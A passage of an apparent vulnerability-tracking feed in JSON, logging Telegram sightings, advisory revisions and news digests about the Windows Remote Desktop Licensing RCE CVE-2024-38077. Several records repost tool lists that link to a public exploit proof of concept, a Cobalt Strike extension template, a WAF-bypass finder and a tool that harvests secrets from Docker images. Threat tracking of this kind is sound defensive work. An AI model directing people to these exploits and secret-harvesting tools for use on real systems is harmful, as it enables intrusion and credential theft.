"sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/7256", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "ed7213e6-fcd1-4c7e-8614-3cc5af80d56d", "content": "Tools - Hackers Factory \n\nApplication to comfortably monitor your Internet traffic\n\nhttps://github.com/GyulyVGC/sniffnet\n\nOSINT CHEAT SHEET Tools & Methods\n\nhttps://github.com/NotLoBi/NotLoBi\n\nHookchain\n\nhttps://github.com/helviojunior/hookchain\n\nUnwaf is a Go tool designed to help identify WAF bypasses using passive techniques, such as: SPF records and DNS history. By default, Unwaf will check SPF records.\n\nhttps://github.com/mmarting/unwaf\n\nOpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks.\n\nhttps://github.com/seemoo-lab/openhaystack\n\nCobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way.\n\nhttps://github.com/securifybv/Visual-Studio-BOF-template\n\nCVE-2024-38077-EXP\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC/tree/main\n\nDockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.\n\nhttps://github.com/UndeadSec/DockerSpy\n\nUltimate Hardware Hacking Gear Guide\n\nhttps://github.com/jcldf/ultimate-hardware-hacking-gear-guide-\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/7256"}, {"timestamp": "2024-08-12T02:32:08Z", "date_only": false, "value": "2024-08-12T02:32:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GrayHatsHack/8578", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "17e47696-5266-49c9-a686-8d71162a354d", "content": "Tools - Hackers Factory \n\nApplication to comfortably monitor your Internet traffic\n\nhttps://github.com/GyulyVGC/sniffnet\n\nOSINT CHEAT SHEET Tools & Methods\n\nhttps://github.com/NotLoBi/NotLoBi\n\nHookchain\n\nhttps://github.com/helviojunior/hookchain\n\nUnwaf is a Go tool designed to help identify WAF bypasses using passive techniques, such as: SPF records and DNS history. By default, Unwaf will check SPF records.\n\nhttps://github.com/mmarting/unwaf\n\nOpenHaystack is a framework for tracking personal Bluetooth devices via Apple's massive Find My network. Use it to create your own tracking tags that you can append to physical objects (keyrings, backpacks, ...) or integrate it into other Bluetooth-capable devices such as notebooks.\n\nhttps://github.com/seemoo-lab/openhaystack\n\nCobalt Strike beacon object files (BOFs) is a feature that was added to the beacon in order to allow rapid beacon extendibility in a more OPSEC way.\n\nhttps://github.com/securifybv/Visual-Studio-BOF-template\n\nCVE-2024-38077-EXP\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC/tree/main\n\nDockerSpy searches for images on Docker Hub and extracts sensitive information such as authentication secrets, private keys, and more.\n\nhttps://github.com/UndeadSec/DockerSpy\n\nUltimate Hardware Hacking Gear Guide\n\nhttps://github.com/jcldf/ultimate-hardware-hacking-gear-guide-\n\n#CyberDilara\nhttps://t.me/CyberDilara", "url": "https://t.me/GrayHatsHack/8578"}, {"timestamp": "2024-08-14T14:50:35Z", "date_only": false, "value": "2024-08-14T14:50:35.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/u2SiIBCEVSAdR1-WZrJ6gJSJGjnSS4esVqfOLou1ZIufOPU", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e199ff2f-0ace-40f5-80cd-149ce4782698"}, {"timestamp": "2024-08-14T19:24:53Z", "date_only": false, "value": "2024-08-14T19:24:53.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/9905", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "6c08f23f-7993-4295-b399-aba7389d8448", "content": "\u200aCVE-2024-38077 : A Zero-Click RCE Threat In Windows Server 2025\n\nhttps://kalilinuxtutorials.com/cve-2024-38077/", "url": "https://t.me/HackingInsights/9905"}, {"timestamp": "2024-08-14T19:24:54Z", "date_only": false, "value": "2024-08-14T19:24:54.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackingInsights/9921", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "90847ad3-5af8-4a1b-ba67-a3ce8873a19b", "content": "\u200aCVE-2024-38077-EXP : In-Depth Analysis And Exploitation Of A Windows Server 2025 Vulnerability\n\nhttps://kalilinuxtutorials.com/cve-2024-38077-exp/", "url": "https://t.me/HackingInsights/9921"}, {"timestamp": "2024-08-15T03:46:41Z", "date_only": false, "value": "2024-08-15T03:46:41.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/IkOHnwg_uGO6ZKZTmo0p71LYBXfEdzRJ6Zcj1bUWR34shAk", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e0058bc8-8d5d-4292-ae93-656249ae46f1"}, {"timestamp": "2024-08-15T03:46:59Z", "date_only": false, "value": "2024-08-15T03:46:59.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Celestial_Pulse24/4232", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "3410a2e0-ec0a-4e33-aaa0-8d349e4a251a", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service 0-Click RCE", "url": "https://t.me/Celestial_Pulse24/4232"}, {"timestamp": "2024-08-15T03:46:59Z", "date_only": false, "value": "2024-08-15T03:46:59.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/XJwSXpoHoGHN4jcb50RThkpQklsUfDacUV_t7XIQ-PnsFg", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "69b6c9cb-e72b-412c-a97c-41e8ca1ec46d"}, {"timestamp": "2024-08-15T07:57:43Z", "date_only": false, "value": "2024-08-15T07:57:43.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8266", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "ba102c9a-7936-48a4-9706-1200d21fa2c8", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-38077\nURL\uff1ahttps://github.com/BBD-YZZ/fyne-gui\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8266"}, {"timestamp": "2024-08-16T11:23:45Z", "date_only": false, "value": "2024-08-16T11:23:45.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/Rootsec_2/3748", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "e2af5c26-688f-4010-be7d-bdf08883bbd6", "content": "#exploit\n1. CVE-2024-38077:\nWindows RDL Service RCE\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC\n\n2. CVE-2024-38054:\nWindows Server < 2022 23H2 - Kernel Streaming WOW Thunk Service Driver Memory Corruption\nhttps://github.com/Black-Frost/windows-learning/tree/main/CVE-2024-38054", "url": "https://t.me/Rootsec_2/3748"}, {"timestamp": "2024-08-21T00:31:40Z", "date_only": false, "value": "2024-08-21T00:31:40.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/NtMJmsu5OdwRwL5RtgSB3XfnAMZv-UOSWXMJxwrl638Wqiw", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "08893522-5e97-4bb8-838c-7e766cb33daf"}, {"timestamp": "2024-08-22T22:00:00Z", "date_only": false, "value": "2024-08-22T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.revision_history.3.date"}, {"timestamp": "2024-08-23T08:28:41Z", "date_only": false, "value": "2024-08-23T08:28:41.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/8335", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "13f48e8d-3f17-4a9f-9b74-cb8515c7e20e", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-38077\u68c0\u6d4b\u5de5\u5177\nURL\uff1ahttps://github.com/Destiny0991/check_38077\n\n\u6807\u7b7e\uff1a#CVE-2024", "url": "https://t.me/GithubRedTeam/8335"}, {"timestamp": "2024-09-02T00:52:59Z", "date_only": false, "value": "2024-09-02T00:52:59.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/HackerOne/3695", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "d824288e-b111-4cd1-bd3c-0e1bc281ca9d", "content": "CVE-2024-38077: Windows Remote Desktop Licensing Service RCE\n\nhttps://github.com/CloudCrowSec001/CVE-2024-38077-POC", "url": "https://t.me/HackerOne/3695"}, {"timestamp": "2024-09-03T16:25:14Z", "date_only": false, "value": "2024-09-03T16:25:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/XBbA837A0JlpI7oyhejrfthw4ZDwzRNTZ9d5zGrZ58Vm5xiG", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "7eefdd51-3c80-4d56-a872-745c093ffb1e"}, {"timestamp": "2024-09-05T22:00:00Z", "date_only": false, "value": "2024-09-05T22:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.revision_history.4.date"}, {"timestamp": "2024-09-05T22:00:00Z", "date_only": false, "value": "2024-09-05T22:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-09-06T08:13:56.495Z", "date_only": false, "value": "2024-09-06T08:13:56.495+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2024-1579", "record": "WID-SEC-W-2024-1579", "field": "document.tracking.generator.date"}, {"timestamp": "2024-09-08T07:41:49Z", "date_only": false, "value": "2024-09-08T07:41:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/3RVlFjalLgf68jfIbtGSbXbYrB09rm48w-0iN4PzwYqkMxE", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "901e8445-3281-4c93-9617-0c86862c16f2"}, {"timestamp": "2024-09-12T05:13:32Z", "date_only": false, "value": "2024-09-12T05:13:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/critical_bug/1534", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "7925dc58-0bc5-457b-8885-192c0ddc765f", "content": "\ud83d\udea8\ud83d\udd13\ud83d\udee1\ufe0f \u0422\u043e\u043f-6 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0430\u0432\u0433\u0443\u0441\u0442\u0430: \u043f\u043e\u0434 \u043f\u0440\u0438\u0446\u0435\u043b\u043e\u043c Windows \u0438 WordPress\n\n\ud83d\udd0d \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0448\u0435\u0441\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u0432 \u0430\u0432\u0433\u0443\u0441\u0442\u0435 2024 \u0433\u043e\u0434\u0430. \u041e\u0441\u043e\u0431\u043e\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u0443\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c Microsoft Windows \u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c\u0443 \u043f\u043b\u0430\u0433\u0438\u043d\u0443 \u0434\u043b\u044f WordPress.\n\n\u0421\u0440\u0435\u0434\u0438 \u043a\u043b\u044e\u0447\u0435\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439:\n- MadLicense (CVE-2024-38077) \u0432 Windows Remote Desktop Licensing Service\n- Copy2Pwn (CVE-2024-38213) - \u043e\u0431\u0445\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 Mark of the Web\n- \u0422\u0440\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows\n- \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 LiteSpeed Cache \u0434\u043b\u044f WordPress\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c MadLicense \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 CVSS 9.8, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434. \u041f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043e\u043a\u043e\u043b\u043e 170 000 \u0445\u043e\u0441\u0442\u043e\u0432 \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 \u0438 \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u0445 \u0441\u0435\u0442\u044f\u0445.\n\n\ud83d\udc68\u200d\ud83d\udcbb \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 LiteSpeed Cache \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u043c \u0437\u0430 \u043d\u0435\u0435 \u0432\u043d\u0443\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0430\u0434\u0443 \u0432 $14,400 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0431\u0430\u0433-\u0431\u0430\u0443\u043d\u0442\u0438. \u042d\u0442\u043e \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u044c \u0442\u0430\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u0432 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439.\n\n\ud83d\udd10 \u0412\u0430\u0436\u043d\u043e \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043e\u0442 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0422\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0437\u0430\u0449\u0438\u0442\u044b, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u044d\u043a\u0440\u0430\u043d\u044b \u0443\u0440\u043e\u0432\u043d\u044f \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.\n\n\u0410\u0432\u0442\u043e\u0440: ptsecurity\n\u041e\u0446\u0435\u043d\u043a\u0430: 9/10. \u0410\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445.\n\n#cybersecurity, #vulnerabilities, #WindowsSecurity, #WordPressSecurity", "url": "https://t.me/critical_bug/1534"}, {"timestamp": "2024-09-16T19:00:07Z", "date_only": false, "value": "2024-09-16T19:00:07.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/true_secator/6212", "record": "CVE-2024-38077", "field": "creation_timestamp", "uuid": "0cf5d01c-79ff-4030-9c3f-38d7bb175492", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b.\n\n1. Ivanti, \u043a\u0430\u043a \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u043b\u043e\u0441\u044c, \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0430\u0441\u044c \u0441 \u044d\u043a\u0430\u043f\u043b\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Cloud Service Appliance (CSA). CVE-2024-8190 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435. \n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 Ivanti CSA \u0441 \u0438\u0441\u0442\u0435\u043a\u0448\u0438\u043c \u0441\u0440\u043e\u043a\u043e\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u043d\u043e\u0432\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e \u041f\u041e, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0430\u0442\u0430\u043a.\n\n2. Horizon3 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0430 \u0430\u043d\u0430\u043b\u0438\u0437 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f CVE-2024-29847, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 RCE \u0432 Ivanti Endpoint Manager, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435.\n\n\u0422\u0430\u043a \u0447\u0442\u043e \u0438 \u0442\u0443\u0442 \u0441\u0442\u043e\u0438\u0442 \u043e\u0436\u0438\u0434\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438.\n\n3. Apple \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f Vision Pro \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u0424\u043b\u043e\u0440\u0438\u0434\u044b \u0438 \u0422\u0435\u0445\u0430\u0441\u0441\u043a\u043e\u0433\u043e \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0430 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u043a\u0430\u043a \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0432\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u043e\u043b\u0438, \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043a\u043b\u0430\u0432\u0438\u0448\u0438.\n\n\u041c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 GAZEploit \u0438 \u0435\u0433\u043e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043f\u0435\u0447\u0430\u0442\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c Vision Pro, \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u0433\u043b\u0430\u0437.\n\n\u0410\u0442\u0430\u043a\u0430 \u0431\u044b\u043b\u0430 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 30 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 \u0438 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0430 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u044c.\n\nApple \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a\u00a0CVE-2024-40865\u00a0 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0435\u0435 \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c visionOS 1.3. \n\n\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f \u043f\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f visionOS 1.3 \u0431\u044b\u043b\u0430 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u044e\u043b\u044f, \u043d\u043e 5 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044f Apple \u043e\u0431\u043d\u043e\u0432\u0438\u043b\u0430 \u0435\u0435, \u0432\u043a\u043b\u044e\u0447\u0438\u0432 CVE-2024-40865.\u00a0\n\n4. \u0415\u0449\u0435 \u043f\u043e Apple: \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0432 iOS 18 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442\u00a0\u0444\u0443\u043d\u043a\u0446\u0438\u044e\u00a0\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u044b iPhone, \u0442\u0430\u043a\u0438\u0435 \u043a\u0430\u043a \u043a\u0430\u043c\u0435\u0440\u044b, \u0430\u043a\u043a\u0443\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u044b \u0438 \u0434\u0438\u0441\u043f\u043b\u0435\u0438. \n\n\u041f\u043e\u043c\u0438\u043c\u043e \u043f\u043b\u044e\u0441\u043e\u0432 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0430 \u0430\u043a\u0442\u0438\u0432\u0430\u0446\u0438\u0438 \u0441\u0443\u043b\u0438\u0442 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 \u0440\u0435\u043c\u043e\u043d\u0442\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0434\u043b\u044f \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u043c\u0430\u0441\u0442\u0435\u0440\u0441\u043a\u0438\u0445.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0413\u0430\u0431\u043e\u0440 \u041b\u0435\u0433\u0440\u0430\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435 Spring Java. \n\nCVE-2024-38816 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043b\u044e\u0431\u043e\u043c\u0443 \u0444\u0430\u0439\u043b\u0443 \u0432\u043d\u0443\u0442\u0440\u0438 